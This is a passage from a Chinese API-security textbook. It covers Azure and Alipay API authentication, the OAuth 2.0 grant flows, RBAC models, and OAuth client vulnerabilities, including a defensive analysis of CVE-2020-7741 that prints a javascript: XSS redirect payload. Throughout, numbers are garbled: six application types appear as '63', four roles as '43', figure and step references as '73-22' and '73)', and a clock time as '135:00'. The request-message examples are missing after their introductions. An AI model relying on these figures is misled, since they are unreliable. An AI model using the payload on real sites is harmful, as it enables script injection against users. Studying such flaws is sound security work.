基于WS联合身份认证、基于ID令牌等,如图7-15所示。 ●图7-15 Azure云支持的身份认证方式 1.适用API身份认证的应用程序类型 在这里,仅从API身份认证的角度分析Azure云是如何使用客户端证 书的身份认证来保护API的。在Azure云基础组件微软标识平台 (Microsoft identity platform)中,基于行业标准协议OAuth 2.0和 OpenID Connect进行技术实现,支持多种不同类型的应用程序身份认证 方案。微软标识平台将应用程序划分为单页应用、Web应用、Web API、移动应用、桌面应用、后台应用63个类型,并根据不同的应用程 序类型推荐不同的身份认证方式。 2.不同类型应用程序API身份认证方式 针对这63种不同的应用程序类型,微软标识平台推荐使用不同的身 份认证方式获取令牌,以调用受保护的API。 (1)单页应用 单页应用是随着前端技术兴起而逐渐流行的,主要由JavaScript框架 编写,常用的框架还有Angular、React或Vue等。单页应用通常在浏览 器中运行,其身份认证特征不同于传统的Web应用程序,Azure推荐使 用OpenID Connect中的简化授权码认证方式,如图7-16所示。 ●图7-16 单页应用认证方式 (2)Web应用 Web应用在这里是指传统的Web应用,通常包含用户登录和未登录 两种情况,对于此类应用的API身份认证,Azure推荐使用OpenID Connect中的授权码认证方式,如图7-17所示。 ●图7-17 Web应用认证方式 (3)Web API Web API是指不同API之间的通信,通常是服务到服务的身份认 证,Azure推荐使用OpenID Connect中的授权码认证方式,Web API通过 与后台应用程序类似的客户端共享机密信息或证书访问API端点A获取 API端点B的access_token,如图7-18所示。 ●图7-18 Web API认证方式 (4)移动应用 考虑到不同移动端设备的兼容性,针对移动应用的身份认证开发了 独立的微软认证组件(Microsoft Authenticator),通过此组件完成移动 应用的身份认证,如图7-19所示。 ●图7-19 移动应用认证方式 (5)桌面应用 对于桌面应用程序调用API,Azure推荐使用Microsoft身份验证库 (MSAL)来完成身份认证,如图7-20所示。 ●图7-20 桌面应用认证方式 除此之外,对于不支持浏览器的桌面应用,推荐使用用户名/密 码、OAuth 2.0的双重令牌缓存序列化或自定义令牌缓存序列化方式完 成身份认证。 (6)后台应用 后台应用主要指服务器端应用程序或后端守护进程类程序,对于此 类应用程序,Azure推荐使用客户端凭据来进行身份认证和获取令牌。 客户端凭据通常是应用程序密码、证书或客户端机密信息等,比如客户 端应用程序在应用门户注册时生成的client_id值、client_secret值,注册 时上传的客户端证书,服务器端通过对此类机密信息的认证来完成身份 认证并返回access_token,如图7-21所示。 ●图7-21 后台应用认证方式 7.4.2 案例之支付宝第三方应用API身份认证 支付宝开放平台是一个将支付宝的支付、营销、数据能力通过API 接口等形式对外开放,给第三方合作伙伴使用的平台。通过接入支付宝 平台,第三方合作伙伴可以快速完成电子商务生态中支付、营销、数据 分析等多种能力的构建,开发出更具有自己业务特征的、更符合市场节 奏的应用程序。 针对对外开放的各种API接口,平台提供了文档、源码demo、社区 问答等多种形式的开发者赋能。下面就从第三方应用的角度,分析一下 应用入驻过程中API身份认证的相关技术。 支付宝开放平台第三方应用的入驻流程如图7-22所示。 ●图7-22 支付宝开发平台第三方应用入驻流程 在图73-22的63个步骤中,其中配置应用环境步骤与后续的接口调 用相关,主要是接口加签方式的设置,此项为必填项,如果设置错误, 则无法调用接口,如图7-23所示。 ●图7-23 支付宝开发平台第三方应用接口加签配置信息 在整个接口调用过程中,设置接口加签方式的目的是为了配置接口 调用所需要的密钥,因为第三方应用程序调用支付宝接口前,先要生成 RSA密钥,生成密钥后上传到支付宝开放平台,在开发者中心进行密钥 配置,从而获取支付宝公钥(ALIPAY_PUBLIC_KEY)。第三方应用 程序再通过RSA密钥中包含的应用私钥(APP_PRIVATE_KEY)、应用 公钥(APP_PUBLIC_KEY)以及支付宝公钥 (ALIPAY_PUBLIC_KEY)才能调用支付宝接口。这个过程中,成为 第三方服务开放者保证了开发者身份的正确性,密钥配置和接口调用时 密钥的使用保证了API调用者身份认证的正确性。这三种密钥的用途分 别如下。 ■ 应用私钥(APP_PRIVATE_KEY)由开发者自己保存,需填写 到代码中供接口调用时对请求内容进行签名时使用。 ■ 应用公钥(APP_PUBLIC_KEY)上传到支付宝开放平台,成功 后即可获得支付宝公钥证书。 ■ 支付宝公钥(ALIPAY_PUBLIC_KEY)配置在代码中对请求内 容进行签名,并对支付宝返回的内容进行验签。 这些密钥与应用创建完成后平台生成的APPID具有唯一性的绑定关 系,在接口调用时作为重要参数使用。客户端和服务器端之间,通过双 向验签的过程,保证通信双方的身份可信。客户端和服务器端之间一次 完成的通信过程如图7-24所示。 ●图7-24 支付宝开发平台第三方应用API身份认证流程 图73-24中的交互过程是从客户端构造请求参数开始,到接收并处 理服务器端消息结束,在整个过程中,客户端和服务器端双方均对请求 的对象进行了验签,从而保证了双方身份的真实性和可靠性。 7.5 小结 对于API身份认证技术,目前主要是以OAuth 2.0协议为基础Token 系列认证为主,在OAuth 2.0协议的API授权优势之上,也为开发者提供 了一整套体系化的技术解决方案,将客户端认证技术中的密钥认证、证 书认证、HTTP Basic基本认证等认证方式包含其中,在保证了身份认证 信息准确性的同时也保证了通信过程的完整性和机密性。最后,结合微 软Azure云中不同应用形态的推荐身份认证方式和支付宝开放平台接口 调用过程,为读者讲述了API身份认证相关技术细节,希望对读者能有 所帮助。 第8章 API授权与访问控制 前一章介绍了API身份认证的相关技术,在一般的业务流程中,身 份认证与授权是紧密相连的两个部分,身份认证解决“你是谁”的问题, 授权解决知道“你是谁”之后的“你能干什么”的问题。身份认证是基础, 确保通信双方的真实、可信,如果身份可信,接下来就需要考虑对访问 者的授权与访问控制。本章的内容将从授权与访问控制的基本概念开 始,介绍API授权与访问控制相关技术及业界最佳实践。 8.1 授权与访问控制的基本概念 授权和访问控制是安全技术领域无法绕过的话题,在技术落地上, 很多安全策略的制定都是围绕这两个方面去考量的,通过授权和访问控 制技术,能保证资源被合理利用,减少被非法访问和泄露的风险。 8.1.1 授权的含义 在计算机领域,授权是指为了满足用户执行任务时需要操作的功能 所授予的权限,对应到现实生活中是指不同的人分管不同的领域,做 不同的事情,需要不同的权限。比如在一所学校中班主任老师这个角 色所拥有的权限是管理他所在班级及班级学生的相关信息,而其他班级 的信息这位班主任老师是无权限管理的。这个学校的校长可以管理所有 班级的信息。这对应到计算机信息系统中就是授权的范围的不同和拥有 权限的不同。 计算机信息系统中对于授权的管理通常分为两大类. ■ 功能级权限管理。 ■ 数据级权限管理。 功能级权限管理的含义是针对信息系统中的功能进行权限管理,这 里的功能是指信息系统中的模块、菜单、按钮、链接。对不同的用户授 予不同的模块、菜单、链接、按钮的操作权限。而数据级权限管理是 指针对同一功能不同用户拥有不同的操作数据的权限,这里的操作数据 的权限是指数据的范围和数据的增加、修改、删除等操作。 在API安全技术领域,功能级权限管理是指不同的用户或不同的角 色对不同的API端点具备的权限的管理。数据级权限管理是指不同的用 户或不同的角色对不同的API端点中涉及的数据、图片、视频等资源, 对于可操作资源的范围、范围内资源的增删改查的操作权限管理。 授权管理中很重要的一个设计原则是最小特权原则,即对用户和 API端点授权时,在满足功能的前提下仅授予最小的权限,同时,不同 的用户或角色,授权之间相互独立,否则会出现权限过大或违背业务独 立性的要求。授权不合理是导致出现OWASP API安全问题中失效的对 象级授权、失效的功能级授权两类问题的重要原因。 8.1.2 访问控制的含义 访问控制是在授权正确的前提下,通过访问控制机制,保证用户或 角色所访问的内容和资源与所授权范围一致。设想有这样一个场景:一 栋楼房有多个不同的房间,有普通办公间也有资料室。普通办公间对于 普通员工来说是可以进入的,而资料室只有经理级以上员工才可以进 入,为了满足这种权限的要求,安装门禁作为访问控制措施。如果一个 普通员工具备了访问资料室的权限,通常是门禁系统的授权管理出现了 错误;如果资料室没有安装门禁或门禁失效,导致普通员工可以进入资 料室,这是访问控制措施的错误。访问控制的本质是防止对未授权资源 的任意访问,保障资源在授权范围内的合理使用。 访问控制通常有三个要素组成:主体、客体、控制策略。 ■ 主体是指访问动作的发起者,一般是某个用户、应用程序以及 API端点。 ■ 客体是指被访问的对象,一般是模块、功能、菜单、按钮、链 接、数据、资源、API端点等。 ■ 控制策略是指为了满足授权要求而制定的控制规则。 假设存在着这样一条访问控制规则:外包人员只允许在135:00点之 后才可以进入机房进行维护操作。那么这里的外包人员是主体,客体是 机房及机房中的资源,控制策略是135:00点之后可以访问。 在API安全技术领域,访问控制主要体现在对API端点的访问控制 (如接口调用、限速、限流等)、对API接口中数据的访问控制两个 方面。访问控制机制的缺失或不完善也是导致出现OWASP API安全问 题中失效的对象级访问控制、失效的功能级访问控制两类问题的重要 原因。 8.2 API授权与访问控制技术 授权与访问控制相关的技术在计算机领域有很多应用场景,比如网 络层常用的访问控制列表ACL、主机层常用的iptables、应用层常用的基 于角色的权限访问控制模型RBAC等。授权作为权限管理的决策机制, 明确了权限与用户、角色的关系;访问控制作为执行单元,将权限管理 落实到位。它们共同协作,维护着信息系统的稳定。 在API安全技术中,授权与访问控制相关的技术比较分散,其中典 型的有基于使用者身份或资源的授权协议OAuth和基于使用者角色的授 权与访问控制技术的RBAC模型。下面就这两部分内容,向读者做详细 的介绍。 8.2.1 OAuth 2.0协议 基于HTTP的OAuth协议因用户资源授权和委托访问控制在API技术 应用中被广泛使用,无论是国内互联网厂商还是国外互联网厂商,在它 们的互联网应用中都能看到OAuth的身影,比如微软Azure、亚马逊 AWS、阿里云等。OAuth协议共有两个版本,考虑到协议的安全性和易 用性,这里讨论的OAuth协议的版本为2.0版本。 1.OAuth 2.0协议相关概念 OAuth协议的产生是为了解决无须共享密码的情况下,从第三方应 用程序安全地访问受保护数据、资源的问题。在OAuth协议的核心规范 中,对于OAuth的授权流程定义了不同的角色,通过不同角色之间不同 概念的信息传递对象的交互,完成整个授权流程。在讨论OAuth协议的 技术细节之前,先来了解一下OAuth协议中的几个基本概念。 (1)基本术语 在OAuth协议中,参与授权流程的4个角色分别如下。 ■ 资源所有者(Resource Owner):是指受保护资源的所有者, 当受保护资源被访问时,需要此所有者授予访问者访问权限。如果资源 所有者是一个自然人时,即表示为最终用户。 ■ 资源服务器(Resource Server):是指托管接受保护资源的服 务器,接收访问请求并使用访问令牌保护受保护的资源。 ■ 客户端(Client):通常是指代理用户发起受保护资源请求的客 户端应用程序。 ■ 授权服务器(Authorization Server):客户端通过认证后,授权 服务器会向客户端发布访问令牌并获得授权。 在OAuth协议中,除了43个参与授权流程的角色外,还定义了两个 特殊的信息传递对象,分别如下。 ■ 访问令牌(Access Token):是客户端应用程序访问受保护资源 的凭据,没有访问令牌则无法访问受保护的资源。此令牌通常是授权服 务器颁发的具有一定含义的字符串,包含此次授权的基本信息、授权 范围、授权有效时间等信息。 ■ 刷新令牌(Refresh Token):一般由授权服务器颁发,但有的 授权服务器不颁发刷新令牌。当访问令牌过期或失效时,客户端可以使 用刷新令牌接口来重新获取新的访问令牌,新的访问令牌包含授权信 息、授权范围、持续时间等。对于刷新令牌的使用,其基本流程如图8- 1所示。 (2)授权流程 在这43个角色之间,通过认证、授权、访问令牌等操作,完成基本 的OAuth协议授权交互流程,如图8-2所示。 1)客户端应用程序向资源所有者发送授权请求,这里的客户端是 指普通的Web API、原生移动App、基于浏览器的Web应用以及无浏览 器的嵌入式后端应用,在流程中充当用户行为代理。 2)资源所有者同意授权客户端访问资源,即获得资源所有者的授 权凭据,包含授权范围和授权类型。 ●图8-1 使用刷新令牌的工作流程 ●图8-2 OAuth协议授权交互流程 3)客户端使用上一步获得的授权凭据,向授权服务器进行身份认 真并申请访问令牌Access Token。 4)授权服务器对客户端进行身份认证,确认身份无误后,下发访 问令牌Access Token。 5)客户端使用上一步获得的访问令牌Access Token,向资源服务器 申请获取受保护的资源。 6)资源服务器确认访问令牌Access Token正确无误后,向客户端开 放所访问的资源。 以上是OAuth协议授权的基本流程,通过对这63个步骤的分析可以 看出,其中资源所有者授权给客户端和颁发访问令牌Access Token在流 程中起到了关键作用。那么详细的授权流程是如何操作的呢?下面一起 来看看OAuth协议的授权过程。 2.OAuth 2.0协议的授权过程 (1)授权方式 OAuth协议核心文档定义了资源所有者给予客户端授权的4种方 式。 ■ 授权码模式:通过授权服务器获得授权码作为客户端和资源所有 者之间的中介,再通过资源服务器获得所访问资源。 ■ 简化授权模式:即简化的授权码流程,又称隐式流模式,适用于 在浏览器中使用脚本语言的客户端,客户端直接获得访问令牌Access Token,而无须客户端授权码。 ■ 密码模式:资源所有者的认证凭据(即用户名和密码)直接用作 授权以获得访问权限。 ■ 客户端凭证模式:采用客户端凭据作为授权依据,获取资源的访 问权限。 (2)授权码模式 授权码模式是OAuth协议中主要的授权流程,相比其他的授权模 式,其流程最为完备,适用于互联网应用的第三方授权场景,典型特点 如下。 ■ 可以同时获得访问令牌Access Token和刷新令牌Refresh Token。 ■ 基于重定向的授权流程,客户端网络必须与资源所有者网络环境 联通。 ■ 需要通过浏览器交互和资源所有者参与,适用于带有Server端的 应用程序,比如Web应用软件、网站或带有Server端的移动端/桌面客户 端应用程序等。 授权码模式的工作流程如图8-3所示。 ●图8-3 授权码模式工作流程 1)用户或资源所有者通过浏览器访问客户端应用程序。 2)客户端应用程序检测是否已获得授权许可,若未授权则通过浏 览器将请求重定向到授权服务器,启动授权码流程。此时的请求报文格 式如下: 此请求必须使用如下参数信息。 ■ response_type:对于使用授权码方式的客户端,其值设置为 code。 ■ client_id:是指客户端应用程序注册时获得,系统应用程序分配 的id值。 ■ scope:是用空格分隔的请求范围值列表,指请求的令牌范围。 ■ redirect_uri:是将授权通过后的响应发送到的重定向URI,如果 缺省,则默认为客户端应用程序注册时填写的页面。 ■ state:随机字符串,用于维持请求和回调之间的状态。不是必选 项,但强烈建议使用此参数。 3)用户确认客户端应用程序的授权许可,如果用户未登录,则一 般显示登录页面提示用户登录后再进行授权许可的确认。 4)授权服务器接收到用户授权许可确认后,携带授权码跳转到客 户端应用程序,进行下一步的访问。如果未授权,则返回错误码。携带 授权码的请求报文格式如下所示: 其中,参数code值为授权码,下一步获取访问令牌Access Token时 将使用该值;state值与第2)步的值一致,用于客户端参数校验。 5)客户端应用程序携带授权码,以授权码方式请求访问令牌 Access Token。此时,一般请求授权服务器的/token路径,请求报告格式 如下所示: 此时,客户端应用程序与所访问资源之间仍然是不透明的,需要将 授权码转换为访问令牌Access Token后才有用。此次的请求有如下两个 特点。 ■ 客户端认证:客户端ID和密码通过Authorization标头传递,同 时,在OAuth协议中,也支持JWT进行身份认证,保证认证信息的机密 性。 ■ 使用授权码方式:授权类型改为授权码方式,通过此授权方式获 取访问令牌Access Token的JSON对象值。 这次请求中有3个参数,其信息如下。 ■ grant_type:使用授权码方式的客户端授权,这里的值为固定 值,填入authorization_code。 ■ code:上一步使用的授权码,继续传递给授权服务器。 ■ redirect_uri:重复上一步重定向的URI值。 6)请求成功后,授权服务器返回访问令牌Access Token。其应答消 息格式如下所示: 7)客户端应用程序携带访问令牌Access Token,请求受保护资源, 资源服务器将请求转发授权服务器验证Access Token的有效性,如果验 证通过,跳转到之前的请求URL,开放资源访问。如果验证失败,则需 要使用刷新令牌,重新申请访问令牌。使用刷新令牌获取访问令牌的请 求消息格式如下所示: 这次请求中有两个参数,其信息如下。 ■ grant_type:这里的值为固定值,填入refresh_token。 ■ refresh_token:之前授权服务器授权成功后返回给Server端应用 程序的刷新令牌。 8)资源服务器响应请求,将受保护的资源信息展现给浏览器。 (3)简化授权模式 简化授权模式是授权码模式的简化授权流程,与授权码模式相比跳 过了客户端应用程序向授权服务器获取授权码的步骤,适用于无Server 端的客户端应用程序授权验证的场景,典型特点如下。 ■ 客户端应用程序通常无Server端,仅仅是单一客户端架构的应用 程序。如移动端应用、桌面客户端应用、浏览器插件以及基于JavaScript 等脚本客户端脚本语言实现的应用。 ■ 授权过程依赖于浏览器和JavaScript语言去运行。 ■ 采用简化授权模式获取Access Token时,不会返回Refresh Token。 简化授权模式的工作流程如图8-4所示。 ●图8-4 简化授权模式工作流程 1)用户操作客户端应用程序,如未授权访问,则客户端应用程序 重定向至授权服务器,重定向请求报文格式与授权码模式下的第23)步 类似,但参数response_type的值为token,此时请求报文格式如下所示: 2)显示用户授权确认页面。 3)用户确认给客户端应用程序授权,并提交授权服务器。 4)授权服务器接收授权许可后,在第13)步的redirect_uri的参数后 追加访问令牌Access Token。其响应格式如下所示: 5)与授权码模式第73)步一致,客户端应用程序授权处理追加的 访问令牌Access Token,处理成功后携带Access Token访问受保护资 源,资源服务器向授权服务器验证Access Token的正确性与时效性。 6)访问令牌验证通过,资源服务器开放受保护资源的访问权限。 (4)密码模式和客户端凭证模式 密码模式是将用户或资源所有者的用户名和密码直接交给客户端应 用程序,由客户端应用程序向授权服务器进行授权认证,此种方式下认 证凭据的安全性较差,逐渐被客户端凭证模式取代,这节将以介绍客户 端凭证模式内容为主。 考虑到密码模式的不安全性,客户端凭证模式通过应用公钥、私 钥、证书等方式充当客户端应用程序的身份凭据,授权服务器通过验证 客户端身份颁发Access Token,适用于任何与用户类型无关的客户端应 用程序授权验证场景,其典型特点如下。 ■ 过程简洁,无须用户参与,非常适用于纯后端应用程序。 ■ 认证凭据的安全性依赖于应用程序的安全保护措施。 其工作流程如图8-5所示。 ●图8-5 客户端凭证模式工作流程 1)客户端应用程序携带客户端凭证向授权服务器发起请求。此时 的请求报文格式如下: 这个请求中有两个地方需要注意。 ■ grant_type:这里的参数值为固定值,填入client_credentials。 ■ Authorization:在header字段中,表示身份认证的方式与认证凭 据,比如上述样例为HTTP BASIC基础认证,认证凭据是Base64编码后 的值。 对于API请求,互联网厂商通常使用应用程序注册平台生成的 APPID和API KEY作为认证凭据。不同的厂商对此类授权采用的认证方 式的附加参数虽各不相同,但必需的参数是一致的。 2)授权服务器验证认证凭据,颁发访问令牌和刷新令牌,其响应 消息格式和其他授权方式一致。 3)与授权码模式第73)步一致,客户端应用程序授权处理追加的 访问令牌Access Token,处理成功后携带Access Token访问受保护资 源,资源服务器向授权服务器验证Access Token的正确性与时效性。如 果访问令牌Access Token验证失败,则可以使用刷新令牌重新申请访问 令牌Access Token。 4)访问令牌验证通过,资源服务器开放受保护资源的访问权限, 响应资源信息。 (5)设备码模式 设备码模式是OAuth协议拓展部分专门面向缺少浏览器的设备而提 供的授权方式,比如智能电视、打印机、多媒体控制设备等。这类设备 的特点是缺少像普通的笔记本计算机、智能手机类设备所拥有的浏览器 处理能力,无法进行类似于授权码模式下的用户、授权服务器之间的重 定向、跳转之类的操作,取而代之的是在设备上提示用户,用笔记本计 算机、智能手机类的设备访问授权服务器,完成授权操作过程。其工作 流程如图8-6所示。 ●图8-6 设备码模式工作流程 1)设备客户端携带设备ID请求授权服务器。此时请求的消息格式 如下所示: 这个请求中有两个参数需要注意。 ■ client_id:是指应用程序注册时,平台生成的ID值。 ■ scope:可选值,表示授权的范围,如这里的API可读值api-read。 2)授权服务器响应设备信息,这里的响应信息包含的内容格式如 下: 对于授权服务器响应的设备JSON对象,其中各个参数的含义如 下。 ■ device_code:设备授权时携带验证码,必填值。 ■ user_code:用户授权时录入的验证码,必填值。 ■ verification_uri:用户通过此uri进行授权许可确认,必填值。 ■ verification_uri_complete:包含user_code的verification_uri值,可 选值。 ■ expires_in:表示device_code和user_code的有效期,以s为单位, 必填值。 ■ interval:表示请求间隔,以s为单位,可选值。其含义是如果使 用了该值,则设备客户端请求在第5)步时的请求间隔为此值,比如此 处为5s。 3)设备客户端显示授权链接或访问方式,比如供智能手机扫描的 二维码、供用户输入的验证码。 4)用户使用智能终端、Pad、笔记本计算机等,访问链接并录入验 证信息,确认授权许可。比如根据第2)步的响应信息,用户访问 verification_uri地址https://example.com/device,录入user_code的值 WDJB-MJHT,验证身份后确认授权许可。如果设备支持二维码扫描, 则用户扫描二维码即可操作。 5)设备客户端程序不停请求授权服务器,获取访问令牌,直到授 权服务器接收到用户确认授权为止。请求消息格式如下所示: 请求的URL中包含3个必填参数,各个参数的含义如下。 ■ grant_type:授权类型,必须是urn:ietf:params:oauth:grant- type:device_code。 ■ device_code:第2)步响应消息中的device_code值。 ■ client_id:设备客户端程序注册时生成的ID值。 6)当授权服务器接收到上一步用户确认的授权许可后,响应设备 客户端程序请求,颁发访问令牌给设备客户端,响应消息格式和授权码 模式一致。至于接下来的第73)和第83)这两步,和其他授权方式也完 全一致。 通过上述章节对OAuth协议中5种不同授权方式的详细介绍,读者 可以明白不同的API使用环境在OAuth的授权方式中都能找到对应的解 决方案,比如无Server端的应用程序选择简化授权模式,普通Web应用 程序选择授权码模式,纯后端应用程序选择客户端凭据授权模式,IoT 设备选择设备码授权模式等。但从API的交互来看,至少包含两个层面 的授权:一个是功能级或资源级的授权,这是OAuth授权协议所擅长解 决的问题;另一个是某个功能或资源中包含的数据级授权,这在OAuth 中往往不能彻底解决,在实际应用中往往需要依赖于RBAC模型,做更 细粒度的权限访问控制,下面就和读者一起来看看RBAC模型的相关知 识。 8.2.2 RBAC模型 RBAC是Role-Based Access Control的缩写,含义为基于角色的访问 控制模型,此模型是20世纪90年代在美国第十五届全国计算机安全大会 上提出的,后逐步被业界广泛使用,至2004年形成了ANSI/INCITS标 准。时至今日,RBAC访问控制模型已经渗入IT领域的多个方面,有传 统技术方面的操作系统、数据库、中间件Web服务器,有新兴技术方面 的Kubernetes、Puppet、OpenStack等。RBAC访问控制模型能得到如此 丰富而广泛的使用,得益于它基于用户与角色关系分配权限进行访问控 制的核心理念。 1.RBAC模型相关概念 一家企业或组织中存在着多个不同的角色,不同的角色做着不同的 事情。RBAC模型的核心理念是,为企业或组织创建多个角色,每一个 角色分配特定的权限,再给企业中的成员分配特定的角色。通过管理成 员角色的方式来管理权限,大大简化了操作的难度。 在RBAC模型中,定义了三条主要规则,其基本含义如下。 ■ 角色分配:是指只有为某个用户(用户是指真实自然人或应用程 序)分配了该角色后,才具有该角色对应的权限。 ■ 角色授权:对应于安全设计原则中的最小特权原则,即用户被授 予某个角色之后,仅能完成所授予权限内的活动。 ■ 权限授权:是指仅当某个角色被授予权限后,该角色被分配的用 户才具有此角色所授予的权限。 这三条规则之间,构成了一个用户→角色→权限的关系链,这个链 上的任何一个环节出了问题,均无法完成正确的授权访问,这是RBAC 模型的核心授权思路。用户、角色、权限这三者的关系用E-R图表示, 如图8-7所示。 ●图8-7 用户、角色、权限三者关系 在这三者关系中,一个用户对应多个角色,同样,一个角色也可 以分配给多个用户;一个角色可以分配多个权限,同样一个权限可以 分配给多个角色。它们之间,都是多对多的关系。 为了满足业务发展的需求,RBAC模型在上述核心授权思路上做了 相应的拓展,被称为RBAC1、RBAC2、RBAC3。RBAC1模型主要增加 了角色继承的概念,很多业务场景中,角色存在上下级关系。比如银行 业务中省行的行长和地市分行的行长之间的关系、大型集团公司业务中 大区经理和片区经理之间的关系;RBAC2模型主要增加了责任分离关 系,面向授权访问添加了诸多约束,这也是为了满足业务的需要。比如 在企业内部,出纳和会计是两个不同的角色,这两个角色如果由一个人 来担任,则可能会出现资金流失而无人知晓的情况,所以在RBAC模型 实现时,通过授权约束,限制同一个人被授予出纳和会计这两个角色, 以规避风险;RBAC3模型是RBAC1和RBAC2的组合,既添加了角色继 承,又有访问控制约束,以满足更加复杂的业务需求。 在实际的互联网应用中,大多数场景下RBAC3能满足业务需求, 但随着近些年数据安全监管和业务风控的需要,很多企业在RBAC3的 基础上做了进一步的延伸,下面就和读者一起来看看此模型的技术实 现。 2.RBAC3模型技术实现 在调用API的可视化组件中,最常见的是前端Web页面。通常来 说,一个前端Web页面包含以下元素。 ■ 模块:是指多个业务功能相近的功能组合,比如用户管理模块中 有用户注册、用户信息修改、用户注销、用户锁定等。 ■ 菜单:通常对应某个具体的业务功能页面,有上级菜单和子菜单 的区别。 ■ 按钮:是指页面上的操作按钮,比如新增按钮、修改按钮、删除 按钮等。 ■ 链接:页面主体部分显示的除按钮外需要进行访问控制的超链 接。 ■ 数据:页面显示的业务数据、资源、文件等。 Web应用程序通过以上元素的不同组合,融合不同的业务流程,完 成所支撑的业务功能,这里离不开授权与访问控制。一个模块,可能员 工A具有操作权限,而员工B不具有操作权限;一个菜单,员工A具有部 分上级菜单的操作权限,而员工B可能具有所有子菜单的权限;一个页 面上的多个按钮,可能员工A具有新增权限,而员工B具有审计和查询 权限;同一个页面上的链接,当员工A和员工B打开时,显示的数据是 完全不一样的,比如员工A显示的是北京地区的数据,而员工B显示的 却是上海地区的数据。这些场景的授权与访问控制过程在RBAC3模型 都有着对应的解决方案。 RBAC3模型的拓展主要是在原RBAC3模型的基础上增加了数据维 度的授权与访问控制,结合这套模型的概念模型,下面来看看它的具体 实现。 在这套模型中,其核心模型仍然不变,如图8-8所示。 ●图8-8 RBAC3核心模型 其主要的区别在于权限以下的建模,将所授予的权限按照功能权限 和数据权限进行拆分,如图8-9所示。 ●图8-9 RBAC3拓展模型 功能权限主要对应于功能菜单,通过分配功能菜单,再由菜单去 关联其中的按钮和链接;而数据权限是通过数据维度去控制,先分配 数据维度,再关联数据维度所分配的数据范围。在实际业务中,经常会 遇到这样的场景,比如某个银行柜员角色只能看到它所在地区的、部分 渠道的信息,假设地区是北京,渠道是电话客服和在线客服,那么此处 的数据权限包含两个维度,一个是地区,一个是渠道;地区的数据范围 是北京市所有网点,渠道的范围是电话客服和在线客服接入的业务。这 就是数据维度和数据范围对于访问控制的作用。对于非用户参与的API 接口的访问也是如此,通过功能级权限可以限制API的调用和访问,通 过数据级权限控制可以防止过度的接口数据响应。 当然在实际的业务中,数据库建模往往更为复杂。比如通过角色对 象中父子ID的关联,构建上下级角色关系;通过权限组,构建组内多个 权限之间的互斥、依赖、包含等关系;定义按钮实体为枚举类型,减少 冗余的关联关系数据等,这都是要系统设计人员根据实际业务情况去考 量的。 8.2.3 其他授权与访问控制技术 在API安全领域,除了上述介绍的OAuth授权协议和RBAC模型外, 还有一些其他的访问控制技术,下面仅做简要的介绍。 ■ 基于属性的访问控制(Attribute-Based Access Control, ABAC)模型,通常与RBAC放在一起讨论,其访问控制思路是基于某 个对象的一组属性值,通过动态计算来进行授权判断,这在API限流、 业务风控等场景中会经常用到,但一般没有RBAC在应用程序中使用得 系统化,大多单点使用。 ■ 基于上下文的访问控制(Context-Based Access Control, CBAC)模型,是基于通信上下文的访问控制模型,在硬件防火墙、 WAF产品中使用较多,需要结合数据流来分析其威胁情况,以便做出 正确的处理决策。 ■ 基于ACL的访问控制,ACL是访问控制列表,通过检测是否命中 ACL规则来判断是否放行或阻断,也是非常常见的一种访问控制技术, 其典型的应用场景有路由访问策略、IP访问黑白名单、好友黑白名单 等。 8.3 常见的授权与访问控制漏洞 通过OAuth协议和RBAC模型相关知识的介绍,读者对API授权和访 问控制技术实现有了基本的了解,下面将结合一些案例,为读者讲解常 见的API授权与访问控制方面的安全漏洞。 8.3.1 OAuth 2.0协议相关漏洞 作为API技术中使用最为广泛的OAuth协议,因其暴露面大,受到 的攻击也是最多的。业界基于OAuth协议中的各个角色所承担功能的不 同,对攻击类型进行了划分,主要分为以下几种。 ■ 针对OAuth客户端的攻击。 ■ 针对授权服务器的攻击。 ■ 针对受保护资源的攻击。 ■ 针对OAuth令牌的攻击。 下面,就以上4种类型的攻击,结合漏洞案例做简要的分析。 1.OAuth客户端漏洞 OAuth客户端就是普通的应用程序,只是作为客户端的形式接入到 OAuth流程中而已。其常见的漏洞除了在身份认证章节提及的回调URL 漏洞、XSS漏洞、点击劫持、客户端认证凭据泄露等漏洞外,还有一类 漏洞需引起重视,即令牌泄露或被盗。 令牌泄露或被盗是表现的结果,而被盗的方式各有不同。常见的有 以下几种。 ■ Cookie泄露从而令牌被盗取。 ■ 第三方应用劫持从而令牌被盗取。 ■ 其他方式导致的令牌泄露。 在因Cookie泄露而导致令牌被盗取的情况中,以因Referer被访问导 致令牌泄露和Cookie存储不安全为主;在第三方应用劫持从而令牌被盗 取中,以攻击OAuth授权流程和回调URL、state参数的CSRF为主,如 CVE-2020-7741漏洞。 HelloJS是标准化的OAuth客户端SDK类库,通过代码封装来简化普 通应用的OAuth授权的使用过程,比如Google+API、Facebook Graph、 Windows Live Connect等。通过HelloJS可以很方便地调用这些RESTful API。在CVE-2020-7741这个漏洞中,因为跳转URL未做转义或过滤处 理,导致XSS漏洞的产生。其关键代码片段如下: 此段代码中,location.assign函数跳转的URL可以被注入JavaScript脚 本,如URL的值为oauth_redirect=javascript:alert(xss)。而在此漏洞被修 复后,添加的代码主要如下: 通过调用isValidUrl函数,严格对参数格式进行URL校验,有效地 防止了XSS脚本的注入。 2.授权服务器漏洞 熟悉OAuth的读者都知道,OAuth协议的流程需要多方参与,这就 导致其整体的安全需要依赖于各个参与方,而授权服务器作为OAuth协 议中的核心组件之一,它的安全性如果不够,则影响着整个流程的安 全。在针对OAuth协议的攻击中,专门针对授权服务器的攻击也占了不 小的比例。 授权服务器的安全通常包含其运行所依赖的基础设施、主机、网络 通信的安全性,这里主要从OAuth协议的层面去讨论其漏洞,主要有如 下漏洞。 ■ 客户端仿冒或欺骗。 ■ 会话劫持。 ■ 不安全的URL跳转或重定向。 从OAuth的授权流程可以了解到,对于客户端身份的认证主要依赖 于客户端认证凭据,比如AK/SK、客户端签名、使用者的用户名/密码 等;而授权时,主要依赖于授权码作为授权凭证,向授权服务器换取访 问令牌Access Token;或根据身份→角色→权限的访问控制去进行授权 验证。这其中,身份认证是授权的基础,如果客户端身份被仿冒或欺 骗,则授权将会被恶意利用。典型漏洞如客户端API KEY泄露导致的客 户端被仿冒、对客户端ID参数校验机制不全导致身份被仿冒、客户端应 用程序自身被攻击导致的客户端被仿冒等。 会话劫持在针对授权服务器的攻击中比较常见,究其原因主要是与 OAuth的授权流程相关,OAuth的授权依赖于授权码,如果恶意攻击者 诱导用户访问了恶意网站,获取了授权码,即可获取授权的访问令牌 Access Token。同时,为了防止授权码的重复利用,在设计授权码时一 般选择无规律的字符串,且是一次性的;多个客户端之间不会共享或 使用同一个授权码。在标准OAuth授权流程中,通常跟授权码一起传递 的参数是state,虽然这是可选参数,但为了安全,在设计时是需要使用 